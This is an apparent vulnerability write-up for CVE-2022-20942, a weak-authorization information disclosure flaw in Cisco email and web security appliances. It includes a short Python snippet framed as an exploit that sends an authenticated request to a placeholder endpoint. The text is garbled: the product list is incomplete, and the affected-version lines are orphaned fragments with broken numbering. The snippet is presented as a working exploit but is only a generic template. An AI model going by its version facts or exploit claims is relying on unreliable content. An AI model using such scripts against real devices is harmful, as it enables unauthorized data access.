CVE-2022-20942 - Cisco Email Security Appliance, Cisco Secure Email and Web Manager, and Cisco Secure Web Appliance Vulnerability: Weak Authorization Resulting in Sensitive Information Disclosure

A critical vulnerability, dubbed CVE-2022-20942, has been discovered in the web-based management interfaces of the following Cisco products:

Cisco Secure Web Appliance, formerly known as Cisco Web Security Appliance (WSA)

This security flaw could allow an authenticated, remote attacker to access sensitive information from an affected device, including user credentials. The vulnerability originates from weak enforcement of back-end authorization checks.

Exploit Details

An attacker could exploit this vulnerability by sending a crafted HTTP request to a vulnerable device. If successful, the attacker could obtain confidential data stored on the affected device. It is important to note that while the attacker needs authentication, they do not need to be privileged or have specific permissions to exploit this vulnerability.

Here is a code snippet illustrating the exploit

import requests

target_url = "https://target-cisco-device.example.com/";
session = requests.Session()
session.auth = ('your-username', 'your-password')

# Craft a malicious HTTP request
exploit_request = session.get(target_url + "sensitive-information-endpoint")

if exploit_request.status_code == 200:
    print("Vulnerability exploited!")
    print("Sensitive Information:")
    print(exploit_request.text)
else:
    print("Exploit unsuccessful. May not be vulnerable or credentials are incorrect.")

Please note that the real sensitive-information-endpoint should be replaced with the specific endpoint on the targeted Cisco device that discloses sensitive information.

For more information about this vulnerability, please review the official Cisco Security Advisory here: CVE-2022-20942 - Cisco Advisory

Cisco Secure Email and Web Manager - running software versions 1.1 and later

3. Cisco Secure Web Appliance (formerly Cisco Web Security Appliance) - running software versions 14. and later

Mitigation and Solution

Cisco has released a software update to address this vulnerability. It is strongly recommended to upgrade to the latest version of the software as soon as possible to protect your devices from potential attacks exploiting CVE-2022-20942.

For detailed information on the software update and the upgrade process, please access the following documents:

- Cisco Email Security Appliance Software Update
- Cisco Secure Email and Web Manager Software Update
- Cisco Secure Web Appliance (formerly Cisco Web Security Appliance) Software Update

Conclusion

CVE-2022-20942 is a critical vulnerability that could lead to the disclosure of sensitive information from Cisco Email Security Appliance (ESA), Cisco Secure Email and Web Manager, and Cisco Secure Web Appliance devices. By updating your device's software to the latest version, you can mitigate the risk of an attacker gaining access to sensitive data through this vulnerability.

Timeline

Published on: 11/04/2022 18:15:00 UTC
Last modified on: 11/08/2022 14:34:00 UTC